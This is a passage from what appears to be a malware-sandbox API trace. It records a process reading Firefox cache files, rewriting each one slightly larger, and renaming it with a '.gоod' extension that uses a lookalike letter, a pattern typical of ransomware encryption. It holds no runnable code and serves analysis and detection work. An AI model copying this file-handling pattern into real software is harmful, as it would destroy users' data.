lpDistanceToMoveHigh=0x1fbeb0f8*=0) returned 0x1000 [0255.544] ReadFile (in: hFile=0x828, lpBuffer=0x3af8608, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbeb0c8, lpOverlapped=0x0 | out: lpBuffer=0x3af8608*, lpNumberOfBytesRead=0x1fbeb0c8*=0x1000, lpOverlapped=0x0) returned 1 [0255.837] CloseHandle (hObject=0x828) returned 1 [0255.837] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\2002896BDFC9D08F61F19B61E28302E004E659C6", nBufferLength=0x105, lpBuffer=0x1fbeaa80, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\2002896BDFC9D08F61F19B61E28302E004E659C6", lpFilePart=0x0) returned 0x7f [0255.837] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeafa0) returned 1 [0255.837] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\2002896BDFC9D08F61F19B61E28302E004E659C6" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\2002896bdfc9d08f61f19b61e28302e004e659c6"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0255.837] GetFileType (hFile=0x828) returned 0x1 [0255.837] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeaf10) returned 1 [0255.837] GetFileType (hFile=0x828) returned 0x1 [0255.837] SetFilePointer (in: hFile=0x828, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fbeb0f8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fbeb0f8*=0) returned 0x235d0 [0255.837] WriteFile (in: hFile=0x828, lpBuffer=0x3c1ea08*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fbeafe8, lpOverlapped=0x0 | out: lpBuffer=0x3c1ea08*, lpNumberOfBytesWritten=0x1fbeafe8*=0x10, lpOverlapped=0x0) returned 1 [0255.926] CloseHandle (hObject=0x828) returned 1 [0255.926] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\2002896BDFC9D08F61F19B61E28302E004E659C6", nBufferLength=0x105, lpBuffer=0x1fbeaa80, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\2002896BDFC9D08F61F19B61E28302E004E659C6", lpFilePart=0x0) returned 0x7f [0255.926] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeafa0) returned 1 [0255.926] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\2002896BDFC9D08F61F19B61E28302E004E659C6" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\2002896bdfc9d08f61f19b61e28302e004e659c6"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0255.926] GetFileType (hFile=0x828) returned 0x1 [0255.926] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeaf10) returned 1 [0255.926] GetFileType (hFile=0x828) returned 0x1 [0255.926] ReadFile (in: hFile=0x828, lpBuffer=0x3ba91f0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbeb078, lpOverlapped=0x0 | out: lpBuffer=0x3ba91f0*, lpNumberOfBytesRead=0x1fbeb078*=0x1000, lpOverlapped=0x0) returned 1 [0256.036] CloseHandle (hObject=0x828) returned 1 [0256.036] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\2002896BDFC9D08F61F19B61E28302E004E659C6", nBufferLength=0x105, lpBuffer=0x1fbeaa80, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\2002896BDFC9D08F61F19B61E28302E004E659C6", lpFilePart=0x0) returned 0x7f [0256.036] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeafa0) returned 1 [0256.036] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\2002896BDFC9D08F61F19B61E28302E004E659C6" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\2002896bdfc9d08f61f19b61e28302e004e659c6"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0256.036] GetFileType (hFile=0x828) returned 0x1 [0256.036] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeaf10) returned 1 [0256.036] GetFileType (hFile=0x828) returned 0x1 [0256.036] WriteFile (in: hFile=0x828, lpBuffer=0x3b27868*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fbeb128, lpOverlapped=0x0 | out: lpBuffer=0x3b27868*, lpNumberOfBytesWritten=0x1fbeb128*=0x1010, lpOverlapped=0x0) returned 1 [0256.036] CloseHandle (hObject=0x828) returned 1 [0256.036] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\2002896BDFC9D08F61F19B61E28302E004E659C6", nBufferLength=0x105, lpBuffer=0x1fbeabd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\2002896BDFC9D08F61F19B61E28302E004E659C6", lpFilePart=0x0) returned 0x7f [0256.036] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\2002896BDFC9D08F61F19B61E28302E004E659C6.gоod", nBufferLength=0x105, lpBuffer=0x1fbeabd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\2002896BDFC9D08F61F19B61E28302E004E659C6.gоod", lpFilePart=0x0) returned 0x84 [0256.037] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb060) returned 1 [0256.037] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\2002896BDFC9D08F61F19B61E28302E004E659C6" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\2002896bdfc9d08f61f19b61e28302e004e659c6"), fInfoLevelId=0x0, lpFileInformation=0x1fbeb140 | out: lpFileInformation=0x1fbeb140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc23b0e52, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xc23b0e52, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x94d1d986, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x235e0)) returned 1 [0256.037] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb020) returned 1 [0256.037] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\2002896BDFC9D08F61F19B61E28302E004E659C6" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\2002896bdfc9d08f61f19b61e28302e004e659c6"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\2002896BDFC9D08F61F19B61E28302E004E659C6.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\2002896bdfc9d08f61f19b61e28302e004e659c6.gоod")) returned 1 [0256.038] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\2084506A70CA3A1F0B77218D89A9FEF723A36E38", nBufferLength=0x105, lpBuffer=0x1fbeabd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\2084506A70CA3A1F0B77218D89A9FEF723A36E38", lpFilePart=0x0) returned 0x7f [0256.038] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb0a0) returned 1 [0256.038] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\2084506A70CA3A1F0B77218D89A9FEF723A36E38" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\2084506a70ca3a1f0b77218d89a9fef723a36e38"), fInfoLevelId=0x0, lpFileInformation=0x3b4e4d8 | out: lpFileInformation=0x3b4e4d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x346a7252, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x346a7252, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x348249e6, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x528)) returned 1 [0256.038] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb060) returned 1 [0256.652] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\2084506A70CA3A1F0B77218D89A9FEF723A36E38", nBufferLength=0x105, lpBuffer=0x1fbeaa30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\2084506A70CA3A1F0B77218D89A9FEF723A36E38", lpFilePart=0x0) returned 0x7f [0256.652] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeaf50) returned 1 [0256.652] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\2084506A70CA3A1F0B77218D89A9FEF723A36E38" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\2084506a70ca3a1f0b77218d89a9fef723a36e38"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0256.691] GetFileType (hFile=0x828) returned 0x1 [0256.692] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeaec0) returned 1 [0256.692] GetFileType (hFile=0x828) returned 0x1 [0256.692] GetFileSize (in: hFile=0x828, lpFileSizeHigh=0x1fbeb0f8 | out: lpFileSizeHigh=0x1fbeb0f8*=0x0) returned 0x528 [0256.692] ReadFile (in: hFile=0x828, lpBuffer=0x3e65000, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbeb028, lpOverlapped=0x0 | out: lpBuffer=0x3e65000*, lpNumberOfBytesRead=0x1fbeb028*=0x528, lpOverlapped=0x0) returned 1 [0256.693] CloseHandle (hObject=0x828) returned 1 [0256.725] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\2084506A70CA3A1F0B77218D89A9FEF723A36E38", nBufferLength=0x105, lpBuffer=0x1fbeaa30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\2084506A70CA3A1F0B77218D89A9FEF723A36E38", lpFilePart=0x0) returned 0x7f [0256.726] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeaf50) returned 1 [0256.726] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\2084506A70CA3A1F0B77218D89A9FEF723A36E38" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\2084506a70ca3a1f0b77218d89a9fef723a36e38"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0256.726] GetFileType (hFile=0x828) returned 0x1 [0256.726] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeaec0) returned 1 [0256.726] GetFileType (hFile=0x828) returned 0x1 [0256.825] WriteFile (in: hFile=0x828, lpBuffer=0x3ede110*, nNumberOfBytesToWrite=0x530, lpNumberOfBytesWritten=0x1fbeaf38, lpOverlapped=0x0 | out: lpBuffer=0x3ede110*, lpNumberOfBytesWritten=0x1fbeaf38*=0x530, lpOverlapped=0x0) returned 1 [0256.825] CloseHandle (hObject=0x828) returned 1 [0256.932] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\2084506A70CA3A1F0B77218D89A9FEF723A36E38", nBufferLength=0x105, lpBuffer=0x1fbeabd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\2084506A70CA3A1F0B77218D89A9FEF723A36E38", lpFilePart=0x0) returned 0x7f [0256.932] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\2084506A70CA3A1F0B77218D89A9FEF723A36E38.gоod", nBufferLength=0x105, lpBuffer=0x1fbeabd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\2084506A70CA3A1F0B77218D89A9FEF723A36E38.gоod", lpFilePart=0x0) returned 0x84 [0256.932] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb060) returned 1 [0256.932] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\2084506A70CA3A1F0B77218D89A9FEF723A36E38" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\2084506a70ca3a1f0b77218d89a9fef723a36e38"), fInfoLevelId=0x0, lpFileInformation=0x1fbeb140 | out: lpFileInformation=0x1fbeb140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x346a7252, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x346a7252, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x954b6fb8, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x530)) returned 1 [0256.932] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb020) returned 1 [0256.933] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\2084506A70CA3A1F0B77218D89A9FEF723A36E38" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\2084506a70ca3a1f0b77218d89a9fef723a36e38"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\2084506A70CA3A1F0B77218D89A9FEF723A36E38.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\2084506a70ca3a1f0b77218d89a9fef723a36e38.gоod")) returned 1 [0256.966] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\208483D2803117F885B3B730B35024666396680C", nBufferLength=0x105, lpBuffer=0x1fbeabd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\208483D2803117F885B3B730B35024666396680C", lpFilePart=0x0) returned 0x7f [0256.966] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb0a0) returned 1 [0256.966] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\208483D2803117F885B3B730B35024666396680C" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\208483d2803117f885b3b730b35024666396680c"), fInfoLevelId=0x0, lpFileInformation=0x3ce0bd0 | out: lpFileInformation=0x3ce0bd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4329e9f1, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x4329e9f1, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x4329e9f1, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x8fd)) returned 1 [0256.967] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb060) returned 1 [0256.967] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\208483D2803117F885B3B730B35024666396680C", nBufferLength=0x105, lpBuffer=0x1fbeaa30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\208483D2803117F885B3B730B35024666396680C", lpFilePart=0x0) returned 0x7f [0256.967] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeaf50) returned 1 [0256.967] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\208483D2803117F885B3B730B35024666396680C" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\208483d2803117f885b3b730b35024666396680c"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x8a8 [0256.967] GetFileType (hFile=0x8a8) returned 0x1 [0256.967] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeaec0) returned 1 [0256.967] GetFileType (hFile=0x8a8) returned 0x1 [0256.967] GetFileSize (in: hFile=0x8a8, lpFileSizeHigh=0x1fbeb0f8 | out: lpFileSizeHigh=0x1fbeb0f8*=0x0) returned 0x8fd [0256.967] ReadFile (in: hFile=0x8a8, lpBuffer=0x3ce18c8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbeb028, lpOverlapped=0x0 | out: lpBuffer=0x3ce18c8*, lpNumberOfBytesRead=0x1fbeb028*=0x8fd, lpOverlapped=0x0) returned 1 [0256.968] CloseHandle (hObject=0x8a8) returned 1 [0256.995] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\208483D2803117F885B3B730B35024666396680C", nBufferLength=0x105, lpBuffer=0x1fbeaa30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\208483D2803117F885B3B730B35024666396680C", lpFilePart=0x0) returned 0x7f [0256.995] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeaf50) returned 1 [0256.995] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\208483D2803117F885B3B730B35024666396680C" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\208483d2803117f885b3b730b35024666396680c"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x8a8 [0256.996] GetFileType (hFile=0x8a8) returned 0x1 [0256.996] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeaec0) returned 1 [0256.996] GetFileType (hFile=0x8a8) returned 0x1 [0256.996] WriteFile (in: hFile=0x8a8, lpBuffer=0x3d5c140*, nNumberOfBytesToWrite=0x900, lpNumberOfBytesWritten=0x1fbeaf38, lpOverlapped=0x0 | out: lpBuffer=0x3d5c140*, lpNumberOfBytesWritten=0x1fbeaf38*=0x900, lpOverlapped=0x0) returned 1 [0256.996] CloseHandle (hObject=0x8a8) returned 1 [0256.996] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\208483D2803117F885B3B730B35024666396680C", nBufferLength=0x105, lpBuffer=0x1fbeabd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\208483D2803117F885B3B730B35024666396680C", lpFilePart=0x0) returned 0x7f [0256.996] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\208483D2803117F885B3B730B35024666396680C.gоod", nBufferLength=0x105, lpBuffer=0x1fbeabd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\208483D2803117F885B3B730B35024666396680C.gоod", lpFilePart=0x0) returned 0x84 [0256.996] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb060) returned 1 [0256.996] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\208483D2803117F885B3B730B35024666396680C" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\208483d2803117f885b3b730b35024666396680c"), fInfoLevelId=0x0, lpFileInformation=0x1fbeb140 | out: lpFileInformation=0x1fbeb140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4329e9f1, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x4329e9f1, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x9565abba, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x900)) returned 1 [0256.996] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb020) returned 1 [0256.996] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\208483D2803117F885B3B730B35024666396680C" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\208483d2803117f885b3b730b35024666396680c"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\208483D2803117F885B3B730B35024666396680C.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\208483d2803117f885b3b730b35024666396680c.gоod")) returned 1 [0256.998] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\2119417A1C9E8DA14601959E96C1123DBD536A0E", nBufferLength=0x105, lpBuffer=0x1fbeabd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\2119417A1C9E8DA14601959E96C1123DBD536A0E", lpFilePart=0x0) returned 0x7f [0256.998] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb0a0) returned 1 [0256.998] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\2119417A1C9E8DA14601959E96C1123DBD536A0E" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\2119417a1c9e8da14601959e96c1123dbd536a0e"), fInfoLevelId=0x0, lpFileInformation=0x3d5d4e0 | out: lpFileInformation=0x3d5d4e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcafbd536, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcafbd536, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcd4f2826, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x149e)) returned 1 [0258.009] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb060) returned 1 [0258.830] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\2119417A1C9E8DA14601959E96C1123DBD536A0E", nBufferLength=0x105, lpBuffer=0x1fbeaa80, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\2119417A1C9E8DA14601959E96C1123DBD536A0E", lpFilePart=0x0) returned 0x7f [0258.830] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeafa0) returned 1 [0258.830] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\2119417A1C9E8DA14601959E96C1123DBD536A0E" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\2119417a1c9e8da14601959e96c1123dbd536a0e"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x8a8 [0258.862] GetFileType (hFile=0x8a8) returned 0x1 [0258.862] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeaf10) returned 1 [0258.862] GetFileType (hFile=0x8a8) returned 0x1 [0258.862] SetFilePointer (in: hFile=0x8a8, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fbeb0f8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fbeb0f8*=0) returned 0x1000 [0258.863] ReadFile (in: hFile=0x8a8, lpBuffer=0x3847538, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbeb0c8, lpOverlapped=0x0 | out: lpBuffer=0x3847538*, lpNumberOfBytesRead=0x1fbeb0c8*=0x49e, lpOverlapped=0x0) returned 1 [0258.864] CloseHandle (hObject=0x8a8) returned 1 [0258.864] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\2119417A1C9E8DA14601959E96C1123DBD536A0E", nBufferLength=0x105, lpBuffer=0x1fbeaa80, lpFilePart=0x0 | out: 